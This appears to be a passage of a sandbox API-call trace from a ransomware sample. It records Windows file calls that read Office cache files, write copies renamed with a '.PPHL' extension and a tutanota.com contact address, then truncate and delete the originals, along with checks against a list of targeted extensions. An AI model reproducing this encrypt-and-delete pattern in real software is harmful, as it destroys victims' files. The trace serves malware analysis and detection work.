[0061.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.224] lstrlenW (lpString=".jpg") returned 4 [0061.224] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.224] lstrcmpiW (lpString1=".chm", lpString2=".PPHL") returned -1 [0061.224] lstrlenW (lpString="setup.chm") returned 9 [0061.224] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0061.224] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=67190) returned 1 [0061.224] CloseHandle (hObject=0x18c) returned 1 [0061.224] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0061.224] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.224] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0061.225] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.225] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.225] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.225] GetLastError () returned 0x0 [0061.225] ReadFile (in: hFile=0x18c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x10676, lpOverlapped=0x0) returned 1 [0061.228] WriteFile (in: hFile=0x194, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x10680, lpOverlapped=0x0) returned 1 [0061.230] ReadFile (in: hFile=0x18c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.230] WriteFile (in: hFile=0x194, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.231] SetEndOfFile (hFile=0x194) returned 1 [0061.231] CloseHandle (hObject=0x194) returned 1 [0061.232] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.232] SetEndOfFile (hFile=0x18c) returned 1 [0061.234] CloseHandle (hObject=0x18c) returned 1 [0061.234] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.234] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0061.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.234] lstrlenW (lpString=".doc") returned 4 [0061.234] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0061.234] lstrlenW (lpString=".docx") returned 5 [0061.234] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0061.234] lstrlenW (lpString=".pdf") returned 4 [0061.234] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0061.234] lstrlenW (lpString=".xls") returned 4 [0061.234] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0061.234] lstrlenW (lpString=".xlsx") returned 5 [0061.234] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0061.234] lstrlenW (lpString=".ppt") returned 4 [0061.235] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0061.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.235] lstrlenW (lpString=".zip") returned 4 [0061.235] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0061.235] lstrlenW (lpString=".rar") returned 4 [0061.235] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0061.235] lstrlenW (lpString=".bz2") returned 4 [0061.235] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0061.235] lstrlenW (lpString=".7z") returned 3 [0061.235] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0061.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.235] lstrlenW (lpString=".dbf") returned 4 [0061.235] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0061.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.235] lstrlenW (lpString=".1cd") returned 4 [0061.235] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0061.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.235] lstrlenW (lpString=".jpg") returned 4 [0061.235] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0061.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.235] lstrlenW (lpString=".doc") returned 4 [0061.235] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0061.235] lstrlenW (lpString=".docx") returned 5 [0061.235] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0061.235] lstrlenW (lpString=".pdf") returned 4 [0061.235] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0061.236] lstrlenW (lpString=".xls") returned 4 [0061.236] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0061.236] lstrlenW (lpString=".xlsx") returned 5 [0061.236] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0061.236] lstrlenW (lpString=".ppt") returned 4 [0061.236] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0061.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.236] lstrlenW (lpString=".zip") returned 4 [0061.236] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0061.236] lstrlenW (lpString=".rar") returned 4 [0061.236] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0061.236] lstrlenW (lpString=".bz2") returned 4 [0061.236] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0061.236] lstrlenW (lpString=".7z") returned 3 [0061.236] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0061.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.236] lstrlenW (lpString=".dbf") returned 4 [0061.236] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0061.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.236] lstrlenW (lpString=".1cd") returned 4 [0061.236] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0061.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0061.236] lstrlenW (lpString=".jpg") returned 4 [0061.236] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0061.237] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.237] lstrlenW (lpString="Setup.xml") returned 9 [0061.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0061.237] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=9352) returned 1 [0061.237] CloseHandle (hObject=0x18c) returned 1 [0061.237] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.237] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0061.237] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.237] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.238] GetLastError () returned 0x0 [0061.238] ReadFile (in: hFile=0x18c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x2488, lpOverlapped=0x0) returned 1 [0061.240] WriteFile (in: hFile=0x194, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x2490, lpOverlapped=0x0) returned 1 [0061.241] ReadFile (in: hFile=0x18c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.241] WriteFile (in: hFile=0x194, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.241] SetEndOfFile (hFile=0x194) returned 1 [0061.241] CloseHandle (hObject=0x194) returned 1 [0061.243] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.243] SetEndOfFile (hFile=0x18c) returned 1 [0061.243] CloseHandle (hObject=0x18c) returned 1 [0061.244] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.245] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.246] lstrlenW (lpString=".doc") returned 4 [0061.246] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.246] lstrlenW (lpString=".docx") returned 5 [0061.246] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.246] lstrlenW (lpString=".pdf") returned 4 [0061.246] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.246] lstrlenW (lpString=".xls") returned 4 [0061.246] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.246] lstrlenW (lpString=".xlsx") returned 5 [0061.246] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.246] lstrlenW (lpString=".ppt") returned 4 [0061.246] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.246] lstrlenW (lpString=".zip") returned 4 [0061.246] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.246] lstrlenW (lpString=".rar") returned 4 [0061.246] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.246] lstrlenW (lpString=".bz2") returned 4 [0061.246] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.246] lstrlenW (lpString=".7z") returned 3 [0061.246] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.246] lstrlenW (lpString=".dbf") returned 4 [0061.246] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.246] lstrlenW (lpString=".1cd") returned 4 [0061.247] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.247] lstrlenW (lpString=".jpg") returned 4 [0061.247] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.247] lstrlenW (lpString=".doc") returned 4 [0061.247] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.247] lstrlenW (lpString=".docx") returned 5 [0061.247] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.247] lstrlenW (lpString=".pdf") returned 4 [0061.247] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.247] lstrlenW (lpString=".xls") returned 4 [0061.247] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.247] lstrlenW (lpString=".xlsx") returned 5 [0061.247] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.247] lstrlenW (lpString=".ppt") returned 4 [0061.247] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.247] lstrlenW (lpString=".zip") returned 4 [0061.247] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.247] lstrlenW (lpString=".rar") returned 4 [0061.247] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.247] lstrlenW (lpString=".bz2") returned 4 [0061.247] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.247] lstrlenW (lpString=".7z") returned 3 [0061.247] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.247] lstrlenW (lpString=".dbf") returned 4 [0061.247] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.247] lstrlenW (lpString=".1cd") returned 4 [0061.248] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.248] lstrlenW (lpString=".jpg") returned 4 [0061.248] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.248] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.248] lstrlenW (lpString="AccessMUI.xml") returned 13 [0061.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0061.250] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1349) returned 1 [0061.250] CloseHandle (hObject=0x18c) returned 1 [0061.250] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0061.250] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0061.250] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.250] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.251] GetLastError () returned 0x0 [0061.251] ReadFile (in: hFile=0x18c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x545, lpOverlapped=0x0) returned 1 [0061.617] WriteFile (in: hFile=0x194, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x550, lpOverlapped=0x0) returned 1 [0061.618] ReadFile (in: hFile=0x18c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.618] WriteFile (in: hFile=0x194, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xee, lpOverlapped=0x0) returned 1 [0061.618] SetEndOfFile (hFile=0x194) returned 1 [0061.618] CloseHandle (hObject=0x194) returned 1 [0061.619] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.619] SetEndOfFile (hFile=0x18c) returned 1 [0061.620] CloseHandle (hObject=0x18c) returned 1 [0061.620] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.621] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0061.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.621] lstrlenW (lpString=".doc") returned 4 [0061.621] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.621] lstrlenW (lpString=".docx") returned 5 [0061.621] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.621] lstrlenW (lpString=".pdf") returned 4 [0061.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.621] lstrlenW (lpString=".xls") returned 4 [0061.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.621] lstrlenW (lpString=".xlsx") returned 5 [0061.621] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.621] lstrlenW (lpString=".ppt") returned 4 [0061.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.621] lstrlenW (lpString=".zip") returned 4 [0061.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.621] lstrlenW (lpString=".rar") returned 4 [0061.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.621] lstrlenW (lpString=".bz2") returned 4 [0061.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.621] lstrlenW (lpString=".7z") returned 3 [0061.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.621] lstrlenW (lpString=".dbf") returned 4 [0061.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.622] lstrlenW (lpString=".1cd") returned 4 [0061.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.622] lstrlenW (lpString=".jpg") returned 4 [0061.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.622] lstrlenW (lpString=".doc") returned 4 [0061.622] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.622] lstrlenW (lpString=".docx") returned 5 [0061.622] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.622] lstrlenW (lpString=".pdf") returned 4 [0061.622] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.622] lstrlenW (lpString=".xls") returned 4 [0061.622] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.622] lstrlenW (lpString=".xlsx") returned 5 [0061.622] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.622] lstrlenW (lpString=".ppt") returned 4 [0061.622] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0061.622] lstrlenW (lpString=".zip") returned 4 [0061.622] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.622] lstrlenW (lpString=".rar") returned 4 [0061.622] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.622] lstrlenW (lpString=".bz2") returned 4 [0061.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.622] lstrlenW (lpString=".7z") returned 3 [0061.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.622] lstrlenW 